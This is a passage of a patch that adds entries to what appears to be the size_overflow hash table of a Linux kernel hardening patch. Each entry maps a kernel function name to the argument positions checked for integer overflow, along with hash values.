++_001513_hash isdn_ppp_ccp_xmit_reset 6 63297 _001513_hash NULL
++_001514_hash isdn_ppp_read 4 50356 _001514_hash NULL
++_001515_hash isdn_ppp_skb_push 2 5236 _001515_hash NULL
++_001516_hash isku_sysfs_read 6 58806 _001516_hash NULL
++_001517_hash isku_sysfs_write 6 49767 _001517_hash NULL
++_001520_hash jbd2_alloc 1 41359 _001520_hash NULL
++_001521_hash jffs2_do_link 6 42048 _001521_hash NULL
++_001522_hash jffs2_do_unlink 4 62020 _001522_hash NULL
++_001523_hash jffs2_security_setxattr 4 62107 _001523_hash NULL
++_001524_hash jffs2_trusted_setxattr 4 17048 _001524_hash NULL
++_001525_hash jffs2_user_setxattr 4 10182 _001525_hash NULL
++_001526_hash joydev_ioctl_common 2 49359 _001526_hash NULL
++_001527_hash kernel_setsockopt 5 35913 _001527_hash NULL
++_001528_hash keyctl_describe_key 3 36853 _001528_hash NULL
++_001529_hash keyctl_get_security 3 64418 _001529_hash &_001192_hash
++_001530_hash keyring_read 3 13438 _001530_hash NULL
++_001531_hash kfifo_copy_to_user 3 20646 _001531_hash NULL
++_001532_hash kmem_zalloc_large 1 56128 _001532_hash NULL
++_001533_hash kmp_init 2 41373 _001533_hash NULL
++_001534_hash koneplus_sysfs_write 6 35993 _001534_hash NULL
++_001535_hash kvm_clear_guest_page 4 2308 _001535_hash NULL
++_001536_hash kvm_read_nested_guest_page 5 13337 _001536_hash NULL
++_001537_hash _l2_alloc_skb 1 11883 _001537_hash NULL
++_001538_hash l2cap_create_basic_pdu 3 24869 _001538_hash &_001074_hash
++_001539_hash l2cap_create_connless_pdu 3 37327 _001539_hash NULL
++_001540_hash l2cap_create_iframe_pdu 3 40055 _001540_hash NULL
++_001541_hash l3_alloc_skb 1 32289 _001541_hash NULL
++_001542_hash __lgwrite 4 57669 _001542_hash NULL
++_001543_hash libfc_host_alloc 2 7917 _001543_hash NULL
++_001544_hash llc_alloc_frame 4 64366 _001544_hash NULL
++_001545_hash llcp_sock_sendmsg 4 1092 _001545_hash NULL
++_001546_hash mac_drv_rx_init 2 48898 _001546_hash NULL
++_001547_hash macvtap_get_user 4 28185 _001547_hash NULL
++_001548_hash mdc800_device_read 3 22896 _001548_hash NULL
++_001549_hash memcpy_toiovec 3 54166 _001549_hash &_000892_hash
++_001550_hash memcpy_toiovecend 3-4 19736 _001550_hash NULL
++_001552_hash mempool_create 1 29437 _001552_hash NULL
++_001553_hash mgmt_event 4 12810 _001553_hash NULL
++_001554_hash mgt_set_varlen 4 60916 _001554_hash NULL
++_001555_hash mI_alloc_skb 1 24770 _001555_hash NULL
++_001556_hash mlx4_en_create_rx_ring 3 62498 _001556_hash NULL
++_001557_hash mlx4_en_create_tx_ring 4 48501 _001557_hash NULL
++_001558_hash mlx4_init_cmpt_table 3 11569 _001558_hash NULL
++_001559_hash mon_bin_get_event 4 52863 _001559_hash NULL
++_001560_hash mousedev_read 3 47123 _001560_hash NULL
++_001561_hash move_addr_to_user 2 2868 _001561_hash NULL
++_001562_hash mpihelp_mul 5-3 27805 _001562_hash NULL
++_001564_hash mpi_set_buffer 3 65294 _001564_hash NULL
++_001565_hash mptctl_ioctl 2 12355 _001565_hash NULL
++_001566_hash msnd_fifo_alloc 2 23179 _001566_hash NULL
++_001567_hash mtdswap_init 2 55719 _001567_hash NULL
++_001568_hash mthca_alloc_resize_buf 3 60394 _001568_hash NULL
++_001569_hash mthca_init_cq 2 60011 _001569_hash NULL
++_001570_hash nci_skb_alloc 2 49757 _001570_hash NULL
++_001571_hash neigh_hash_grow 2 17283 _001571_hash NULL
++_001572_hash netdev_alloc_skb 2 62437 _001572_hash NULL
++_001573_hash __netdev_alloc_skb_ip_align 2 55067 _001573_hash NULL
++_001574_hash netlink_change_ngroups 2 16457 _001574_hash NULL
++_001575_hash new_skb 1 21148 _001575_hash NULL
++_001576_hash nfc_alloc_recv_skb 1 10244 _001576_hash NULL
++_001577_hash nfcwilink_skb_alloc 1 16167 _001577_hash NULL
++_001578_hash __nf_nat_mangle_tcp_packet 5-7 8190 _001578_hash NULL
++_001580_hash nf_nat_mangle_udp_packet 5-7 13321 _001580_hash NULL
++_001582_hash nfqnl_mangle 4-2 36226 _001582_hash NULL
++_001583_hash nfs4_realloc_slot_table 2 22859 _001583_hash NULL
++_001584_hash nfs_idmap_get_key 2 39616 _001584_hash NULL
++_001585_hash nfs_readdata_alloc 2 65015 _001585_hash NULL
++_001586_hash nfs_writedata_alloc 2 12133 _001586_hash NULL
++_001587_hash nfulnl_alloc_skb 2 65207 _001587_hash NULL
++_001588_hash ni65_alloc_mem 3 10664 _001588_hash NULL
++_001589_hash nsm_get_handle 4 52089 _001589_hash NULL
++_001590_hash ntfs_malloc_nofs 1 49572 _001590_hash NULL
++_001591_hash ntfs_malloc_nofs_nofail 1 63631 _001591_hash NULL
++_001592_hash nvme_create_queue 3 170 _001592_hash NULL
++_001593_hash ocfs2_control_write 3 54737 _001593_hash NULL
++_001595_hash orinoco_add_extscan_result 3 18207 _001595_hash NULL
++_001596_hash osd_req_read_sg_kern 5 6378 _001596_hash NULL
++_001597_hash osd_req_write_sg_kern 5 10514 _001597_hash NULL
++_001599_hash override_release 2 52032 _001599_hash NULL
++_001600_hash p9_client_read 5 19750 _001600_hash NULL
++_001601_hash packet_snd 3 13634 _001601_hash NULL
++_001602_hash pcbit_stat 2 27364 _001602_hash NULL
++_001603_hash pcpu_extend_area_map 2 12589 _001603_hash NULL
++_001604_hash pep_alloc_skb 3 46303 _001604_hash NULL
++_001605_hash pg_read 3 17276 _001605_hash NULL
++_001606_hash picolcd_debug_eeprom_read 3 14549 _001606_hash NULL
++_001607_hash pkt_alloc_packet_data 1 37928 _001607_hash NULL
++_001608_hash pmcraid_build_passthrough_ioadls 2 62034 _001608_hash NULL
++_001609_hash pn_raw_send 2 54330 _001609_hash NULL
++_001610_hash posix_clock_register 2 5662 _001610_hash NULL
++_001611_hash printer_read 3 54851 _001611_hash NULL
++_001612_hash __proc_file_read 3 54978 _001612_hash NULL
++_001613_hash pskb_may_pull 2 22546 _001613_hash NULL
++_001614_hash __pskb_pull 2 42602 _001614_hash NULL
++_001615_hash ptp_read 4 63251 _001615_hash NULL
++_001616_hash pt_read 3 49136 _001616_hash NULL
++_001617_hash put_cmsg 4 36589 _001617_hash NULL
++_001618_hash px_raw_event 4 49371 _001618_hash NULL
++_001619_hash qla4xxx_post_aen_work 3 46953 _001619_hash NULL
++_001620_hash qla4xxx_post_ping_evt_work 4 8074 _001819_hash NULL nohasharray
++_001621_hash raid5_resize 2 63306 _001621_hash NULL
++_001622_hash rawv6_sendmsg 4 20080 _001622_hash NULL
++_001623_hash rds_message_map_pages 2 31487 _001623_hash NULL
++_001624_hash rds_sendmsg 4 40976 _001624_hash NULL
++_001625_hash read_flush 3 43851 _001625_hash NULL
++_001626_hash read_profile 3 27859 _001626_hash NULL
++_001627_hash read_vmcore 3 26501 _001627_hash NULL
++_001628_hash redirected_tty_write 3 65297 _001628_hash NULL
++_001629_hash refill_pool 2 19477 _001629_hash NULL
++_001630_hash __register_chrdev 2-3 54223 _001630_hash NULL
++_001632_hash regmap_raw_write 4 53803 _001632_hash NULL
++_001633_hash reiserfs_allocate_list_bitmaps 3 21732 _001633_hash NULL
++_001634_hash reiserfs_resize 2 34377 _001634_hash NULL
++_001635_hash request_key_auth_read 3 24109 _001635_hash NULL
++_001636_hash rfcomm_wmalloc 2 58090 _001636_hash NULL
++_001637_hash rfkill_fop_read 3 54711 _001637_hash NULL
++_001638_hash rng_dev_read 3 41581 _001638_hash NULL
++_001639_hash roccat_read 3 41093 _001639_hash &_001034_hash
++_001640_hash rx 4 57944 _001640_hash NULL
++_001641_hash rxrpc_client_sendmsg 5 23236 _001641_hash NULL
++_001642_hash rxrpc_kernel_send_data 3 60083 _001642_hash NULL
++_001643_hash rxrpc_server_sendmsg 4 37331 _001643_hash NULL
++_001644_hash savu_sysfs_write 6 42273 _001644_hash NULL
++_001645_hash sco_sock_sendmsg 4 62542 _001645_hash NULL
++_001646_hash scsi_nl_send_vendor_msg 5 16394 _001646_hash NULL
++_001647_hash scsi_register 2 49094 _001647_hash NULL
++_001648_hash sctp_datamsg_from_user 4 55342 _001648_hash NULL
++_001649_hash sctp_getsockopt_events 2 3607 _001649_hash NULL
++_001650_hash sctp_getsockopt_maxburst 2 42941 _001650_hash NULL
++_001651_hash sctp_getsockopt_maxseg 2 10737 _001651_hash NULL
++_001652_hash sctp_make_chunk 4 12986 _001652_hash NULL
++_001653_hash sctpprobe_read 3 17741 _001653_hash NULL
++_001654_hash sctp_tsnmap_mark 2 35929 _001654_hash NULL
++_001655_hash sctp_ulpevent_new 1 33377 _001655_hash NULL
++_001656_hash sdhci_alloc_host 2 7509 _001656_hash NULL
++_001657_hash selinux_inode_post_setxattr 4 26037 _001657_hash NULL
++_001658_hash selinux_inode_setsecurity 4 18148 _001658_hash NULL
++_001659_hash selinux_inode_setxattr 4 10708 _001659_hash NULL
++_001660_hash selinux_secctx_to_secid 2 63744 _001660_hash NULL
++_001661_hash selinux_setprocattr 4 55611 _001661_hash NULL
++_001662_hash sel_write_context 3 25726 _001662_hash &_001329_hash
++_001663_hash send_command 4 10832 _001663_hash NULL
++_001664_hash seq_copy_in_user 3 18543 _001664_hash NULL
++_001665_hash seq_open_net 4 8968 _001779_hash NULL nohasharray
++_001666_hash seq_open_private 3 61589 _001666_hash NULL
++_001667_hash set_arg 3 42824 _001667_hash NULL
++_001668_hash sg_read 3 25799 _001668_hash NULL
++_001669_hash shash_async_setkey 3 10720 _003506_hash NULL nohasharray
++_001670_hash shash_compat_setkey 3 12267 _001670_hash NULL
++_001671_hash shmem_setxattr 4 55867 _001671_hash NULL
++_001672_hash simple_read_from_buffer 2-5 55957 _001672_hash NULL
++_001674_hash sisusb_clear_vram 2-3 57466 _001674_hash NULL
++_001676_hash sisusbcon_do_font_op 9 52271 _001676_hash NULL
++_001677_hash sisusb_copy_memory 4 35016 _001677_hash NULL
++_001678_hash sisusb_write 3 44834 _001678_hash NULL
++_001680_hash skb_cow 2 26138 _001680_hash NULL
++_001681_hash skb_cow_head 2 52495 _001681_hash NULL
++_001682_hash skb_make_writable 2 24783 _001682_hash NULL
++_001683_hash skb_padto 2 50759 _001683_hash NULL
++_001684_hash sk_stream_alloc_skb 2 57622 _001684_hash NULL
++_001685_hash smk_write_access2 3 19170 _001685_hash NULL
++_001686_hash smk_write_access 3 49561 _001686_hash NULL
++_001687_hash snd_es1938_capture_copy 5 25930 _001687_hash NULL
++_001688_hash snd_gus_dram_peek 4 9062 _001688_hash NULL
++_001689_hash snd_hdsp_capture_copy 5 4011 _001689_hash NULL
++_001690_hash snd_korg1212_copy_to 6 92 _001690_hash NULL
++_001691_hash snd_opl4_mem_proc_read 5 63774 _001691_hash NULL
++_001692_hash snd_pcm_oss_read1 3 63771 _001692_hash NULL
++_001693_hash snd_pcm_plugin_alloc 2 12580 _001693_hash NULL
++_001694_hash snd_rawmidi_kernel_read1 4 36740 _001694_hash NULL
++_001695_hash snd_rme9652_capture_copy 5 10287 _001695_hash NULL
++_001696_hash sock_alloc_send_pskb 2 21246 _001696_hash NULL
++_001697_hash sock_rmalloc 2 59740 _002491_hash NULL nohasharray
++_001698_hash sock_wmalloc 2 16472 _001698_hash NULL
++_001699_hash solos_param_store 4 34755 _001699_hash NULL
++_001702_hash srp_target_alloc 3 37288 _001702_hash NULL
++_001703_hash store_ifalias 4 35088 _001703_hash NULL
++_001704_hash store_msg 3 56417 _001704_hash NULL
++_001705_hash str_to_user 2 11411 _001705_hash NULL
++_001706_hash subbuf_read_actor 3 2071 _001706_hash NULL
++_001707_hash sys_fgetxattr 4 25166 _001707_hash NULL
++_001708_hash sys_gethostname 2 49698 _001708_hash NULL
++_001709_hash sys_getxattr 4 37418 _001709_hash NULL
++_001710_hash sys_init_module 2 36047 _001710_hash NULL
++_001711_hash sys_kexec_load 2 14222 _001711_hash NULL
++_001712_hash sys_lgetxattr 4 45531 _001712_hash NULL
++_001713_hash syslog_print 2 307 _001713_hash NULL
++_001714_hash sys_msgsnd 3 44537 _001714_hash &_000139_hash
++_001715_hash sys_process_vm_readv 3-5 19090 _003104_hash NULL nohasharray
++_001717_hash sys_process_vm_writev 3-5 4928 _001717_hash NULL
++_001719_hash sys_pselect6 1 57449 _001719_hash NULL
++_001720_hash sys_sched_getaffinity 2 60033 _001720_hash NULL
++_001721_hash sys_setsockopt 5 35320 _001721_hash NULL
++_001722_hash t3_init_l2t 1 8261 _001722_hash NULL
++_001723_hash t4vf_pktgl_to_skb 2 39005 _001723_hash NULL
++_001724_hash tcp_collapse 5-6 63294 _001724_hash NULL
++_001726_hash tcp_sendmsg 4 30296 _001726_hash NULL
++_001727_hash team_options_register 3 20091 _001727_hash NULL
++_001728_hash tipc_buf_acquire 1 60437 _001728_hash NULL
++_001729_hash tipc_cfg_reply_alloc 1 27606 _001729_hash NULL
++_001730_hash tipc_send2name 6 16809 _001730_hash NULL
++_001731_hash tipc_send2port 5 63935 _001731_hash NULL
++_001732_hash tipc_send 4 51238 _001732_hash NULL
++_001733_hash tnode_new 3 44757 _002769_hash NULL nohasharray
++_001734_hash tomoyo_read_self 3 33539 _001734_hash NULL
++_001735_hash tomoyo_update_domain 2 5498 _001735_hash NULL
++_001736_hash tomoyo_update_policy 2 40458 _001736_hash NULL
++_001737_hash tpm_read 3 50344 _001737_hash NULL
++_001738_hash TSS_rawhmac 3 17486 _001738_hash NULL
++_001739_hash __tty_buffer_request_room 2 27700 _001739_hash NULL
++_001740_hash tun_get_user 4 39099 _001740_hash NULL
++_001741_hash ubi_dump_flash 4 46381 _001741_hash NULL
++_001742_hash ubi_io_write 4-5 15870 _003453_hash NULL nohasharray
++_001744_hash udp_setsockopt 5 25985 _001744_hash NULL
++_001745_hash udpv6_setsockopt 5 18487 _001745_hash NULL
++_001746_hash uio_read 3 49300 _001746_hash NULL
++_001747_hash ulog_alloc_skb 1 23427 _001747_hash NULL
++_001748_hash unix_dgram_sendmsg 4 45699 _001748_hash NULL
++_001749_hash unlink1 3 63059 _001749_hash NULL
++_001751_hash usbdev_read 3 45114 _001751_hash NULL
++_001752_hash usblp_ioctl 2 30203 _001752_hash NULL
++_001753_hash usblp_read 3 57342 _003832_hash NULL nohasharray
++_001754_hash usbtmc_read 3 32377 _001754_hash NULL
++_001755_hash _usb_writeN_sync 4 31682 _001755_hash NULL
++_001756_hash user_read 3 51881 _001756_hash NULL
++_001757_hash vcs_read 3 8017 _001757_hash NULL
++_001758_hash vdma_mem_alloc 1 6171 _001758_hash NULL
++_001759_hash venus_create 4 20555 _001759_hash NULL
++_001760_hash venus_link 5 32165 _001760_hash NULL
++_001761_hash venus_lookup 4 8121 _001761_hash NULL
++_001762_hash venus_mkdir 4 8967 _001762_hash NULL
++_001763_hash venus_remove 4 59781 _001763_hash NULL
++_001764_hash venus_rename 4-5 17707 _003784_hash NULL nohasharray
++_001766_hash venus_rmdir 4 45564 _001766_hash NULL
++_001767_hash venus_symlink 4-6 23570 _001767_hash NULL
++_001769_hash vfs_readlink 3 54368 _001769_hash NULL
++_001770_hash vfs_readv 3 38011 _001770_hash NULL
++_001771_hash vfs_writev 3 25278 _001771_hash NULL
++_001772_hash vga_arb_read 3 4886 _001772_hash NULL
++_001773_hash vgacon_adjust_height 2 28124 _001773_hash NULL
++_001774_hash vhci_put_user 4 12604 _001774_hash NULL
++_001775_hash vhost_add_used_n 3 10760 _001775_hash NULL
++_001776_hash virtnet_send_command 5-6 61993 _001776_hash NULL
++_001778_hash vmbus_establish_gpadl 3 4495 _001778_hash NULL
++_001779_hash vol_cdev_read 3 8968 _001779_hash &_001665_hash
++_001780_hash wdm_read 3 6549 _001780_hash NULL
++_001781_hash write_adapter_mem 3 3234 _001781_hash NULL
++_001782_hash wusb_prf 7 54261 _001782_hash &_000065_hash
++_001783_hash xdi_copy_to_user 4 48900 _001783_hash NULL
++_001784_hash xfs_buf_associate_memory 3 17915 _001784_hash NULL
++_001785_hash xfs_buf_get_maps 2 4581 _001785_hash NULL
++_001786_hash xfs_buf_get_uncached 2 51477 _001786_hash NULL
++_001787_hash xfs_buf_item_get_format 2 189 _001787_hash NULL
++_001788_hash xfs_buf_map_from_irec 5 2368 _002641_hash NULL nohasharray
++_001789_hash xfs_dir2_block_to_sf 3 37868 _001789_hash NULL
++_001790_hash xfs_dir2_leaf_getdents 3 23841 _001790_hash NULL
++_001791_hash xfs_dir2_sf_addname_hard 3 54254 _001791_hash NULL
++_001792_hash xfs_efd_init 3 5463 _001792_hash NULL
++_001793_hash xfs_efi_init 2 5476 _001793_hash NULL
++_001794_hash xfs_iext_realloc_direct 2 20521 _001794_hash NULL
++_001795_hash xfs_iext_realloc_indirect 2 59211 _001795_hash NULL
++_001796_hash xfs_inumbers_fmt 3 12817 _001796_hash NULL
++_001797_hash xhci_alloc_streams 5 37586 _001797_hash NULL
++_001798_hash xlog_recover_add_to_cont_trans 4 44102 _001798_hash NULL
++_001799_hash xz_dec_lzma2_create 2 36353 _002713_hash NULL nohasharray
++_001800_hash _zd_iowrite32v_locked 3 44725 _001800_hash NULL
++_001801_hash a2mp_chan_alloc_skb_cb 2 27159 _001801_hash NULL
++_001802_hash aat2870_reg_read_file 3 12221 _001802_hash NULL
++_001803_hash add_partition 2 55588 _001803_hash NULL
++_001804_hash add_sctp_bind_addr 3 12269 _001804_hash NULL
++_001805_hash _add_sg_continuation_descriptor 3 54721 _001805_hash NULL
++_001806_hash afs_cell_lookup 2 8482 _001806_hash NULL
++_001807_hash afs_send_simple_reply 3 63940 _001807_hash NULL
++_001808_hash agp_allocate_memory_wrap 1 16576 _001808_hash NULL
++_001809_hash __alloc_bootmem 1 31498 _001809_hash NULL
++_001810_hash __alloc_bootmem_low 1 43423 _003425_hash NULL nohasharray
++_001811_hash __alloc_bootmem_node_high 2 65076 _001811_hash NULL
++_001812_hash alloc_cc770dev 1 48186 _001812_hash NULL
++_001813_hash __alloc_ei_netdev 1 29338 _001813_hash NULL
++_001814_hash __alloc_eip_netdev 1 51549 _001814_hash NULL
++_001815_hash alloc_libipw 1 22708 _001815_hash NULL
++_001816_hash _alloc_mISDN_skb 3 52232 _001816_hash NULL
++_001817_hash alloc_pg_vec 2 8533 _001817_hash NULL
++_001818_hash alloc_sja1000dev 1 17868 _001818_hash NULL
++_001819_hash alloc_targets 2 8074 _001819_hash &_001620_hash
++_001822_hash ath6kl_disconnect_timeout_read 3 3650 _001822_hash NULL
++_001823_hash ath6kl_endpoint_stats_read 3 41554 _001823_hash NULL
++_001824_hash ath6kl_fwlog_mask_read 3 2050 _001824_hash NULL
++_001825_hash ath6kl_keepalive_read 3 44303 _001825_hash NULL
++_001826_hash ath6kl_listen_int_read 3 10355 _001826_hash NULL
++_001827_hash ath6kl_lrssi_roam_read 3 61022 _001827_hash NULL
++_001828_hash ath6kl_regdump_read 3 14393 _001828_hash NULL
++_001829_hash ath6kl_regread_read 3 25884 _001829_hash NULL
++_001830_hash ath6kl_regwrite_read 3 48747 _001830_hash NULL
++_001831_hash ath6kl_roam_table_read 3 26166 _001831_hash NULL
++_001832_hash ath9k_debugfs_read_buf 3 25316 _001832_hash NULL
++_001833_hash ath9k_multi_regread 4 65056 _001833_hash NULL
++_001834_hash ath_rxbuf_alloc 2 24745 _001834_hash NULL
++_001835_hash atk_debugfs_ggrp_read 3 29522 _001835_hash NULL
++_001836_hash audit_log_n_untrustedstring 3 9548 _001836_hash NULL
++_001837_hash ax25_send_frame 2 19964 _001837_hash NULL
++_001838_hash b43_debugfs_read 3 24425 _001838_hash NULL
++_001839_hash b43legacy_debugfs_read 3 2473 _001839_hash NULL
++_001840_hash batadv_bla_is_backbone_gw 3 58488 _001840_hash NULL
++_001841_hash batadv_check_management_packet 3 52993 _001841_hash NULL
++_001842_hash batadv_check_unicast_packet 2 10866 _001842_hash NULL
++_001843_hash batadv_interface_rx 4 8568 _001843_hash NULL
++_001844_hash batadv_skb_head_push 2 11360 _001844_hash NULL
++_001845_hash bchannel_get_rxbuf 2 37213 _001845_hash NULL
++_001846_hash bcm_recvmsg 4 43992 _001846_hash NULL
++_001847_hash bfad_debugfs_read 3 13119 _001847_hash NULL
++_001848_hash bfad_debugfs_read_regrd 3 57830 _001848_hash NULL
++_001849_hash blk_init_tags 1 30592 _001849_hash NULL
++_001850_hash blk_queue_init_tags 2 44355 _001850_hash &_001022_hash
++_001851_hash blk_rq_map_kern 4 47004 _001851_hash NULL
++_001852_hash bm_entry_read 3 10976 _001852_hash NULL
++_001853_hash bm_status_read 3 19583 _001853_hash NULL
++_001854_hash bnad_debugfs_read 3 50665 _001854_hash NULL
++_001855_hash bnad_debugfs_read_regrd 3 51308 _001855_hash NULL
++_001856_hash bnx2i_send_nl_mesg 4 53353 _001856_hash NULL
++_001857_hash brcmf_debugfs_sdio_counter_read 3 58369 _001857_hash NULL
++_001858_hash brcmf_sdio_assert_info 4 52653 _001858_hash NULL
++_001859_hash brcmf_sdio_dump_console 4 37455 _001859_hash NULL
++_001860_hash brcmf_sdio_trap_info 4 48510 _001860_hash NULL
++_001861_hash btmrvl_curpsmode_read 3 46939 _001861_hash NULL
++_001862_hash btmrvl_gpiogap_read 3 4718 _001862_hash NULL
++_001863_hash btmrvl_hscfgcmd_read 3 56303 _001863_hash NULL
++_001864_hash btmrvl_hscmd_read 3 1614 _001864_hash NULL
++_001865_hash btmrvl_hsmode_read 3 1647 _001865_hash NULL
++_001866_hash btmrvl_hsstate_read 3 920 _001866_hash NULL
++_001867_hash btmrvl_pscmd_read 3 24308 _001867_hash NULL
++_001868_hash btmrvl_psmode_read 3 22395 _001868_hash NULL
++_001869_hash btmrvl_psstate_read 3 50683 _001869_hash NULL
++_001870_hash btmrvl_txdnldready_read 3 413 _001870_hash NULL
++_001871_hash btrfs_add_link 5 9973 _001871_hash NULL
++_001872_hash __btrfs_direct_write 4 22273 _001872_hash NULL
++_001873_hash btrfs_discard_extent 2 38547 _001873_hash NULL
++_001874_hash btrfs_file_aio_write 4 21520 _001874_hash NULL
++_001875_hash btrfs_find_create_tree_block 3 55812 _001875_hash NULL
++_001876_hash btrfsic_map_block 2 56751 _001876_hash NULL
++_001877_hash cache_read_pipefs 3 47615 _001877_hash NULL
++_001878_hash cache_read_procfs 3 52882 _001878_hash NULL
++_001879_hash cache_write_pipefs 3 48270 _001879_hash NULL
++_001880_hash cache_write_procfs 3 22491 _001880_hash NULL
++_001881_hash caif_stream_recvmsg 4 13173 _001881_hash NULL
++_001882_hash carl9170_alloc 1 27 _001882_hash NULL
++_001883_hash carl9170_debugfs_read 3 47738 _001883_hash NULL
++_001884_hash ceph_msgpool_init 4 34599 _001884_hash NULL
++_001885_hash cfpkt_add_trail 3 27260 _001885_hash NULL
++_001886_hash cfpkt_create 1 18197 _001886_hash NULL
++_001887_hash cfpkt_pad_trail 2 55511 _003606_hash NULL nohasharray
++_001888_hash cfpkt_split 2 47541 _001888_hash NULL
++_001889_hash cgroup_read_s64 5 19570 _001889_hash NULL
++_001890_hash cgroup_read_u64 5 45532 _001890_hash NULL
++_001891_hash channel_type_read 3 47308 _001891_hash NULL
++_001892_hash check_header 2 56930 _001892_hash NULL
++_001893_hash codec_list_read_file 3 24910 _001893_hash NULL
++_001894_hash configfs_read_file 3 1683 _001894_hash NULL
++_001895_hash console_store 4 36007 _001895_hash NULL
++_001896_hash cpuset_common_file_read 5 8800 _001896_hash NULL
++_001897_hash create_subvol 4 30836 _001897_hash NULL
++_001898_hash cxio_hal_init_resource 2-7-6 29771 _001898_hash &_000295_hash
++_001901_hash cxio_hal_init_rhdl_resource 1 25104 _001901_hash NULL
++_001902_hash dai_list_read_file 3 25421 _001902_hash NULL
++_001903_hash dapm_bias_read_file 3 64715 _001903_hash NULL
++_001904_hash dapm_widget_power_read_file 3 59950 _001983_hash NULL nohasharray
++_001907_hash dbgfs_frame 3 45917 _001907_hash NULL
++_001908_hash dbgfs_state 3 38894 _001908_hash NULL
++_001909_hash dccp_manip_pkt 2 30229 _001909_hash NULL
++_001910_hash ddp_ppod_write_idata 5 25610 _001910_hash NULL
++_001911_hash debugfs_read 3 62535 _001911_hash NULL
++_001912_hash debug_output 3 18575 _001912_hash NULL
++_001913_hash debug_read 3 19322 _001913_hash NULL
++_001914_hash dev_alloc_skb 1 19517 _001914_hash &_001366_hash
++_001915_hash dfs_file_read 3 18116 _001915_hash NULL
++_001916_hash diva_alloc_dma_map 2 23798 _001916_hash NULL
++_001917_hash diva_xdi_write 4 63975 _001917_hash NULL
++_001918_hash dma_memcpy_pg_to_iovec 6 1725 _001918_hash NULL
++_001919_hash dma_memcpy_to_iovec 5 12173 _001919_hash NULL
++_001920_hash dma_show_regs 3 35266 _001920_hash NULL
++_001921_hash dm_exception_table_init 2 39645 _001921_hash &_001149_hash
++_001922_hash dn_nsp_do_disc 2-6 49474 _001922_hash NULL
++_001924_hash dn_recvmsg 4 17213 _001924_hash NULL
++_001925_hash dns_resolver_read 3 54658 _001925_hash NULL
++_001926_hash do_msgrcv 4 5590 _001926_hash NULL
++_001927_hash do_syslog 3 56807 _001927_hash NULL
++_001928_hash dpcm_state_read_file 3 65489 _001928_hash NULL
++_001929_hash dsp_cmx_send_member 2 15625 _001929_hash NULL
++_001930_hash fallback_on_nodma_alloc 2 35332 _001930_hash NULL
++_001931_hash fc_frame_alloc 2 1596 _001931_hash NULL
++_001932_hash fc_frame_alloc_fill 2 59394 _001932_hash NULL
++_001933_hash filter_read 3 61692 _001933_hash NULL
++_001934_hash __finish_unordered_dir 4 33198 _001934_hash NULL
++_001935_hash format_devstat_counter 3 32550 _001935_hash NULL
++_001936_hash fragmentation_threshold_read 3 61718 _001936_hash NULL
++_001937_hash fuse_conn_limit_read 3 20084 _001937_hash NULL
++_001938_hash fuse_conn_waiting_read 3 49762 _001938_hash NULL
++_001939_hash fuse_file_aio_write 4 46399 _001939_hash NULL
++_001940_hash generic_readlink 3 32654 _001940_hash NULL
++_001941_hash gre_manip_pkt 2 38785 _001941_hash NULL
++_001942_hash handle_eviocgbit 3 44193 _001942_hash NULL
++_001943_hash handle_response 5 55951 _001943_hash NULL
++_001944_hash handle_response_icmp 7 39574 _001944_hash NULL
++_001945_hash hash_recvmsg 4 50924 _001945_hash NULL
++_001946_hash hci_send_cmd 3 43810 _001946_hash NULL
++_001947_hash hci_si_event 3 1404 _001947_hash NULL
++_001948_hash help 4 14971 _001948_hash NULL
++_001949_hash hfcpci_empty_bfifo 4 62323 _001949_hash NULL
++_001950_hash hidp_send_ctrl_message 4 43702 _001950_hash NULL
++_001951_hash ht40allow_map_read 3 55209 _001951_hash &_001512_hash
++_001952_hash hwflags_read 3 52318 _001952_hash NULL
++_001953_hash hysdn_conf_read 3 42324 _001953_hash NULL
++_001954_hash hysdn_sched_rx 3 60533 _001954_hash NULL
++_001955_hash i2400m_rx_stats_read 3 57706 _001955_hash NULL
++_001956_hash i2400m_tx_stats_read 3 28527 _001956_hash NULL
++_001957_hash icmp_manip_pkt 2 48801 _001957_hash NULL
++_001958_hash idmouse_read 3 63374 _001958_hash NULL
++_001959_hash ieee80211_if_read 3 6785 _001959_hash NULL
++_001960_hash ieee80211_rx_bss_info 3 61630 _001960_hash NULL
++_001961_hash ikconfig_read_current 3 1658 _001961_hash NULL
++_001962_hash il3945_sta_dbgfs_stats_table_read 3 48802 _001962_hash NULL
++_001963_hash il3945_ucode_general_stats_read 3 46111 _001963_hash NULL
++_001964_hash il3945_ucode_rx_stats_read 3 3048 _001964_hash NULL
++_001965_hash il3945_ucode_tx_stats_read 3 36016 _001965_hash NULL
++_001966_hash il4965_rs_sta_dbgfs_rate_scale_data_read 3 37792 _001966_hash NULL
++_001967_hash il4965_rs_sta_dbgfs_scale_table_read 3 38564 _001967_hash NULL
++_001968_hash il4965_rs_sta_dbgfs_stats_table_read 3 49206 _001968_hash NULL
++_001969_hash il4965_ucode_general_stats_read 3 56277 _001969_hash NULL
++_001970_hash il4965_ucode_rx_stats_read 3 61948 _001970_hash NULL
++_001971_hash il4965_ucode_tx_stats_read 3 12064 _001971_hash NULL
++_001972_hash il_dbgfs_chain_noise_read 3 38044 _001972_hash NULL
++_001973_hash il_dbgfs_channels_read 3 25005 _001973_hash NULL
++_001974_hash il_dbgfs_disable_ht40_read 3 42386 _001974_hash NULL
++_001975_hash il_dbgfs_fh_reg_read 3 40993 _001975_hash NULL
++_001976_hash il_dbgfs_force_reset_read 3 57517 _001976_hash NULL
++_001977_hash il_dbgfs_interrupt_read 3 3351 _001977_hash NULL
++_001978_hash il_dbgfs_missed_beacon_read 3 59956 _001978_hash NULL
++_001979_hash il_dbgfs_nvm_read 3 12288 _001979_hash NULL
++_001980_hash il_dbgfs_power_save_status_read 3 43165 _001980_hash NULL
++_001981_hash il_dbgfs_qos_read 3 33615 _001981_hash NULL
++_001982_hash il_dbgfs_rxon_filter_flags_read 3 19281 _001982_hash NULL
++_001983_hash il_dbgfs_rxon_flags_read 3 59950 _001983_hash &_001904_hash
++_001984_hash il_dbgfs_rx_queue_read 3 11221 _001984_hash NULL
++_001985_hash il_dbgfs_rx_stats_read 3 15243 _001985_hash NULL
++_001986_hash il_dbgfs_sensitivity_read 3 2370 _001986_hash NULL
++_001987_hash il_dbgfs_sram_read 3 62296 _001987_hash NULL
++_001988_hash il_dbgfs_stations_read 3 21532 _001988_hash NULL
++_001989_hash il_dbgfs_status_read 3 58388 _001989_hash NULL
++_001990_hash il_dbgfs_tx_queue_read 3 55668 _001990_hash NULL
++_001991_hash il_dbgfs_tx_stats_read 3 32913 _001991_hash NULL
++_001992_hash ima_show_htable_value 2 57136 _001992_hash NULL
